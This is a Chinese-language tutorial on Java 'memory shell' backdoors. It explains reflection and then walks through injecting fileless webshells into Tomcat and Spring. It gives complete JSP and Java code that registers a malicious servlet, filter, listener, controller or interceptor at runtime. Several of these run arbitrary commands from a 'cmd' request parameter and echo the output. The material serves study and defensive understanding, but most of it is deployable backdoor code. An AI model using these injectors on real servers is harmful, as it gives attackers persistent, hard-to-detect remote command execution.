在学习内存马前,先需要了解一下Java中的一种语言特性----反射
Java反射机制
- Java反射允许程序在运行时自我检查并对内部成员进行操作,动态调用信息以及动态调用对象方法
反射机制允许在运行状态中:
- 对于任意一个类,都知道这个类的所有属性和方法
- 对于任意一个对象,都能够调用它的任意方法和属性,并且能改变它的属性。
Java反射操作的是
java.lang.class对象,所有需要想办法获取到Class对象,下列是三种方式获取一个类的Class对象- `类名.class`,如:`com.anbai.sec.classloader.TestHelloWorld.class`。 - `Class.forName("com.anbai.sec.classloader.TestHelloWorld")`。 - `classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");`对获取数组类型的
Class对象需要特别注意,应使用Java类型的描述符方式Class<?> doubleArray = Class.forName("[D");//相当于double[].class Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class获取
Runtime类Class对象时,则可以使用3中的三种方法String className = "java.lang.Runtime" Class runtimeName1 = java.lang.Runtime.class; Class runtimeName2 = Class.forName("className"); Class runtimeName3 = ClassLoader.getSystemClassLoader().LoaderClass(className);- 反射调用内部类的时候需要使用
$来代替.,例如:com.lain.Test类有个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.lain.Test$Hello
Runtime类反射
在Runtime类中有一个exec方法可以执行本地命令,所以在大多数的payload中都能看见反射调用Runtime类来执行本地系统命令,
当我们不使用反射执行本地命令代码片段:
System.out.printn(org.apache.io.IOUtils.toString(Runtime,getRuntime().exec("whoami").getInputStream(),"UTF-8"));//输出命令执行结果使用反射
Runtime执行本地命令:Class runtimeClass1 = Class.forName("java.lang.Runtime");//获取Runtime类 Constructor constructor = runtimeClass1.getDeclaredConstructor(); //runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor都可以获取到类构造方法,区别在于后者无法获取到私有方法,所以一般在获取某个类的构造方法时候我们会使用前者去获取构造方法。 constructor.setAccessible(true); //当我们没有访问构造方法权限时我们应该调用constructor.setAccessible(true)修改访问权限就可以成功的创建出类实例了。 Object runtimeInstance = constructor.newInstance(); //创建Runtime实例,等价 Runtime rt = new Runtime(); Method runtimeMethod = runtimeClass1.getMethod("exec",String.class); //获取Runtime类中的exec方法 Process process = (process) runtimeMethod.invoke(runtimeInstance,cmd); //调用exec方法,等价rt.exec() InputStream in = proecss.getInputStream(); //获取命令执行结果 System.out.println(org.apache.commons.io.IOUtils.toString(in,"UTF-8")); //打印命令执行结果流程如下:
- 反射获取
Runtime类对象(Class.forName("java.lang.Runtime"))。 - 使用
Runtime类的Class对象获取Runtime类的无参数构造方法(getDeclaredConstructor()),因为Runtime的构造方法是private的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true))。 获取
Runtime类的exec(String)方法(runtimeClass1.getMethod("exec", String.class);)。Method method = clazz.getDeclaredMethod("方法名"); Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);调用
exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);
- 反射获取
使用反射调用成员变量
获取当前类的所有成员变量:
Field fields = clazz.getDeclaredFields();获取当前类指定的成员变量:
Field field = clazz.getDeclaredField("变量名");getField和getDeclaredField的区别同getMethod和getDeclaredMethod。
获取成员变量值:
Object obj = field.get(类实例对象);修改成员变量值:
field.set(类实例对象, 修改后的值);同理,当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)的方式修改为访问成员变量访问权限
如果我们需要修改被final关键字修饰的成员变量,那么我们需要先修改方法
// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");
// 设置modifiers修改权限
modifiers.setAccessible(true);
// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// 修改成员变量值
field.set(类实例对象, 修改后的值);内存马
概念:利用类加载或Agent机制在JavaEE、框架或中间件的API中动态注册一个可访问的后门。
内存马主要分以下几种方式:
- 动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
- 动态注册 interceptor/controller(使用框架如 spring/struts2)
- 动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
- 使用 java agent 技术写入字节码
Servlet内存马
- 首先介绍一下
servlet,Servlet是在Java Web容器中运行的小程序,通常我们用Servlet来处理一些较为复杂的服务器端的业务逻辑。Servlet是Java EE的核心,也是所有的MVC框架的实现的根本 编写一个servlet代码
package com.example.memshell; import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import java.io.IOException; public class Myservlet extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.getWriter().println("Myservlet"); } }- 在web.xml中插入配置servlet标签

- 运行项目即可访问到我们编写的servlet文件

- 查看
ContextConfig.java文件,其中configureContext函数将servlet加载入tomcat容器中,查看调试中的对应关系

在
ContextConfig函数中有两行主要代码context.addChild(wrapper);//向容器添加我们的servlet context.addServletMappingDecoded(entry.getKey(), entry.getValue()); //声明servlet与url的映射关系我们需要获取
context来执行以上代码通过调试我们的
Myservlet,发现在req.getservletContext()有一个ServletContext,然后在ServletContext中又包含一个Context,其中context中有一个StandardContext流程:
HttpServletRequest->getServletContext()->ApplicationContext->StandardContext
编写恶意代码
定义恶意
servlet类<%! //定义恶意servlet public class Memservlet extends HttpServlet{ @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Runtime.getRuntime().exec("calc"); } } %>获取
context:StandardContext(通过反射)//通过反射,拿到getServletContext ServletContext servletContext = request.getServletContext(); //通过getServletContext拿到applicationContext Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); //通过applicationContext拿到standardContext Field standardContextField=applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);从
context获取Wrapper对象//将MemServlet封装到wrapper Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("memshell"); wrapper.setServletClass(Memservlet.class.getName()); wrapper.setServlet(new Memservlet());将恶意
servlet封装进Wrapper对象//将wrapper添加到standardContext,并设置映射URL standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/mem","memshell");//第二个参数需要跟前面setname一致示例代码
<%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! //定义恶意servlet public class Memservlet extends HttpServlet{ @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Runtime.getRuntime().exec("calc"); } } %> <% //通过反射,拿到getServletContext ServletContext servletContext = request.getServletContext(); //通过getServletContext拿到applicationContext Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); //通过applicationContext拿到standardContext Field standardContextField=applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext); //将MemServlet封装到wrapper Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("memshell"); wrapper.setServletClass(Memservlet.class.getName()); wrapper.setServlet(new Memservlet()); //将wrapper添加到standardContext,并设置映射URL standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/mem","memshell"); //第二个参数需要跟前面setname一致 %>
Filter内存马
提要:Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。
如
Servlet一样编写一个HelloFilter文件,在super.doFilter处下断点,然后运行项目进行调试package com.example.memshell3; import jakarta.servlet.FilterChain; import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpFilter; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import java.io.IOException; public class HelloFilter extends HttpFilter { @Override protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException, ServletException { String cmd = req.getParameter("cmd"); if (cmd == null) { super.doFilter(req, res, chain); }else { res.setContentType("text/html"); res.getWriter().println("你输入的命令是:"+cmd); } } }- 程序停止在
ApplicationFilterChain类中,他内部的DoFilter函数在Filter的数组中拿到了一个Filter,并且每次执行一次DoFilter函数相应的指针都加一位,代表服务端到Servlet,中间有若干个Filter
- 双击
filter数组发现由addFilter给数组赋值,在ApplicationFilterFactory中有createFilterChain会返回ApplicationFilterChain,createFilterChain会调用addFilter给Filterchain中添加Filter数组,而invoke会调用createFilterChain - 在
ApplicationFilterFactory中createFilterChain函数处下断点重新调试,发现下面有一个filterMaps数组,将程序运行至if处,在下面的变量处得到了filterMaps
createFilterChain通过调用StandardContext的findFilterMap来初始化ApplicationFilterChain,从StandardContext来获取数据并且
filterConfig不为空if (filterConfig == null) { log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName())); continue; }StandrdContext中包含一个filterConfig(hashmap),我们需要给filtermap和filterconfig进行赋值,还需要创建Filtermap、ApplicationConfig和FilterDef,在FilterMap中包含filterName和urlPathod- 将自己创建的Filter添加到
FilterMap中,然后再添加到FilterDefs,再调用Filterstart方法
编写恶意代码
获取
StandardContext方法与servlet类似//通过反射,拿到getServletContext ServletContext servletContext = request.getServletContext(); //通过getServletContext拿到applicationContext Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); //通过applicationContext拿到standardContext Field standardContextField=applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);再编写一个恶意
Filter类<%! public class ShellFilter extends HttpFilter { @Override protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException { // String cmd = req.getParameter("cmd"); // if (cmd == null) { // super.doFilter(req, res, chain); // }else { // res.setContentType("text/html"); // res.getWriter().println("你输入的命令是:"+cmd); // } // super.doFilter(req,res,chain); Runtime.getRuntime().exec("calc"); } } %>再创建
Filtermap、FilterDef,调用filterStart方法ShellFilter filter = new ShellFilter(); FilterDef def = new FilterDef(); def.setFilterName("shell-filter"); def.setFilter(filter); def.setFilterClass(filter.getClass().getName()); FilterMap map = new FilterMap(); map.setFilterName("shell-filter"); map.addURLPattern("/*"); standardContext.addFilterDef(def); standardContext.addFilterMapBefore(map); standardContext.filterStart();
示例代码
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="static java.lang.System.out" %>
<%!
public class ShellFilter extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
// String cmd = req.getParameter("cmd");
// if (cmd == null) {
// super.doFilter(req, res, chain);
// }else {
// res.setContentType("text/html");
// res.getWriter().println("你输入的命令是:"+cmd);
// }
// super.doFilter(req,res,chain);
Runtime.getRuntime().exec("calc");
}
}
%>
<%
//通过反射,拿到getServletContext
ServletContext servletContext = request.getServletContext();
//通过getServletContext拿到applicationContext
Field applicationContextField=servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext拿到standardContext
Field standardContextField=applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
ShellFilter filter = new ShellFilter();
FilterDef def = new FilterDef();
def.setFilterName("shell-filter");
def.setFilter(filter);
def.setFilterClass(filter.getClass().getName());
FilterMap map = new FilterMap();
map.setFilterName("shell-filter");
map.addURLPattern("/*");
standardContext.addFilterDef(def);
standardContext.addFilterMapBefore(map);
standardContext.filterStart();
out.println("success");
%>Listener内存马
提要:Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作
ServletContextListener | 用于监听整个 Servlet 上下文(创建、销毁) |
|---|---|
HttpSessionListener | 当一个HttpSession刚被创建或失效时 |
ServletContextAttributeListener | 对 Servlet 上下文属性进行监听(增删改属性) |
ServletRequestListener | 对 Request 请求进行监听(创建、销毁) |
ServletRequestAttributeListener | 对 Request 属性进行监听(增删改属性) |
javax.servlet.http.HttpSessionListener | 对 Session 整体状态的监听 |
javax.servlet.http.HttpSessionAttributeListener | 对 Session 属性的监听 |
- 创建一个Listener,对函数打个断点,进行调试,查看谁调用的我们创建的监听器
发现是
StandardContext在调用Listener,StandardContext使用requestDestroyed方法进行调用,instance装载着我们自定义的Listener,它通过getApplicationEventListeners方法进行装载,它会调起List中所有的Listener流程:
StandardContext(FireRequestInitializeEventListener)->ServletRequestListener(RequestInitialized)
编写恶意代码
获取
standradcontext//通过反射,拿到getServletContext ServletContext servletContext = request.getServletContext(); //通过getServletContext拿到applicationContext Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); //通过applicationContext拿到standardContext Field standardContextField=applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext); standardContext.addApplicationEventListener(new MyListener());- 创建恶意Listener
<%!
public class MyListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
Class facadeClass = req.getClass();
try {
Field requestField = facadeClass.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(req);
Process proc = Runtime.getRuntime().exec(cmd);
InputStream in = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(in);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null)
request.getResponse().getWriter().println(line);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}
%>实例代码
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.core.*"%>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="jakarta.servlet.ServletRequestEvent" %>
<%@ page import="jakarta.servlet.ServletRequest" %>
<%@ page import="jakarta.servlet.ServletRequestListener" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
Class facadeClass = req.getClass();
try {
Field requestField = facadeClass.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(req);
Process proc = Runtime.getRuntime().exec(cmd);
InputStream in = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(in);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null)
request.getResponse().getWriter().println(line);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}
%>
<%
//通过反射,拿到getServletContext
ServletContext servletContext = request.getServletContext();
//通过getServletContext拿到applicationContext
Field applicationContextField=servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext拿到standardContext
Field standardContextField=applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext ) standardContextField.get(applicationContext);
standardContext.addApplicationEventListener(new MyListener());
out.println("miao~ miao~ miao~");
%>
spring内存马---Controller
提要:Controller负责处理DispatcherServlet分发的请求。将用户请求处理后封装成model返回给view。在springmvc中用@Controller标记一个类为Controller。然后用@RequestMapping等来定义URL请求和Controller方法间的映射
- 在demo中编写一个
MyController,对编写的Controller进行调试 Controller的注册在DoDispatch处由DispatcherServlet处理web请求,在DispatcherServlet调用HandlerAdapter#handle处理request和response。并且此处用getHandler方法获取了mappedHandler的Handler,mappedHandler是对handlerMappings进行遍历 ,在handlerMapping列表中找对应的处理程序.
所以在
reture handler处下断点
这里我们从
RequestMappingHandlerMapping获取到了Mapping,并且调用了getHandler方法
发现在
AbstractHandlerMapping.java中有getHandler函数
再进行跟进,发现
AbstractHandlerMethodMapping#getHandlerInternal()中对mappingRegistry进行上锁,最后解锁。
而在
lookupHandlerMethod方法中mappingRegistry获取到了路由,也就是说模拟注册向mappingRegistry中添加内存马路由,就能注入内存马
在
AbstractHandlerMethodMapping.java中有registerMapping方法能够添加路由
这个类为抽象类,抽象类的父类不一定会有
RequestMappingHandlerMapping的实例,但子类一定可以进行实例化。找到handlerMappings第一次赋值的地方
发现当
detectAllHandlerMappings为真,那么就会从BeanFactoryUtils.beansOfTypeIncludingAncestors(context, HandlerMapping.class, true, false);获取所有
HandlerMappings并且赋值给handlerMappings的数组,否则就从context中获取一个指定名称的变量。在
doService中request set了一些属性其中就包括WEB_APPLICATION_CONTEXT_ATTRIBUTE,其中就包含application.context
而
getWebApplicationContext()函数的WebApplicationContext类正是ApplicationContext的直接子类
编写恶意代码
首先需要先获取
WebApplicationContext。在内存马的构造中,都会获取容器的context对象。在Tomcat中获取的是StandardContext,spring中获取的是WebApplicationContext。WebApplicationContext继承了BeanFactory,所以能用getBean直接获取RequestMappingHandlerMapping,进而注册路由。WebApplicationContext context=(WebApplicationContext)RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); mapping.registerMapping(null,null,null);创建恶意Class
public class InnerClass { public String evil() { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); String cmd = request.getParameter("cmd"); Runtime runtime = Runtime.getRuntime(); StringBuilder sb = new StringBuilder(); try{ Process proc = runtime.exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line = null; while((line = reader.readLine())!=null){ sb.append(line).append("\n"); } } catch (IOException e) { throw new RuntimeException(e); } return sb.toString(); } }然后在我们要获取
webapplicationContext的方法里面new一下,将类填入mapping.registerMapping的第二个参数,第三个参数填入controller.getclass().getMethod(),getMethod中填入我们恶意类中的方法mapping.registerMapping(null,innerClass,innerClass.getClass().getMethod("evil"));生成
RequestMappingInfo。传入PatternsRequestConditionController映射的URL)和RequestMethodsRequestCondition(HTTP请求方法)RequestMappingInfo info = new RequestMappingInfo( new PatternsRequestCondition("/evil"), new RequestMethodsRequestCondition(), null,null,null,null,null);将
info填入mapping.registerMapping第一个参数
实例代码
package com.example.demo.demos.web;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
@RestController
public class MyController {
@RequestMapping(value = "/index")
public String index() {
return "Hello World";
}
@RequestMapping(value = "/java1")
public String java1() throws NoSuchMethodException {
WebApplicationContext context= (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
InnerClass innerClass = new InnerClass();
RequestMappingInfo info = new RequestMappingInfo(
new PatternsRequestCondition("/evil"),
new RequestMethodsRequestCondition(),
null,null,null,null,null);
mapping.registerMapping(info,innerClass,innerClass.getClass().getMethod("evil"));
return "success";
}
@RestController
public class InnerClass {
public String evil() {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
String cmd = request.getParameter("cmd");
Runtime runtime = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
try{
Process proc = runtime.exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line = null;
while((line = reader.readLine())!=null){
sb.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
return sb.toString();
}
}
}
spring内存马---Interceptor
提要:Interceptor和Tomcat和Filter过滤器很类似。区别如下:
Interceptor基于反射,Filter基于函数回调Interceptor不依赖servlet容器Interceptor只能对action请求有用Interceptor可以访问action上下文,栈里的对象。Filter不能action生命周期中,Interceptor可以被多次调用,Filter只在容器初始化时调用一次Interceptor可以获取IOC容器中的bean,Filter不行
由以上区别,Interceptor的应用和过滤器也就不同,Interceptor用来做日志记录,过滤器用来过滤非法操作
- 对我们自己的Interceptor进行调试,在
DispatcherServlet中getHandler被调用,持续跟进发现调用AbstractHandlerMapping#getHanler(),在getHandler方法调用了getHandlerExecutionChain
- 在
AbstractHandlerMapping#getHandlerExecutionChain方法中,它将符合条件的Interceptor添加到chain中,我们需要把我们创建的拦截器添加到List中
AbstractHandlerMapping的子类的实例对象可以通过web.appliction.context拿到,但adaptedInterceptors为私有变量,所以需要使用反射进行获取
- 而applyPreHandle会将List中所有拦截器调用

示例恶意代码
package com.example.demo.demos.web;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.List;
@RestController
public class MyController {
@RequestMapping(value = "/index")
public String index() {
return "Hello World";
}
@RequestMapping(value = "/inject2")
public String inject2() {
WebApplicationContext context= (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
try {
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(mapping);
list.add(new InoInterceptor());
} catch (NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}
return "inject2 success";
}
public class InoInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(javax.servlet.http.HttpServletRequest request , javax.servlet.http.HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
response.getWriter().println(line);
}
return false;
}
return true;
}
}
}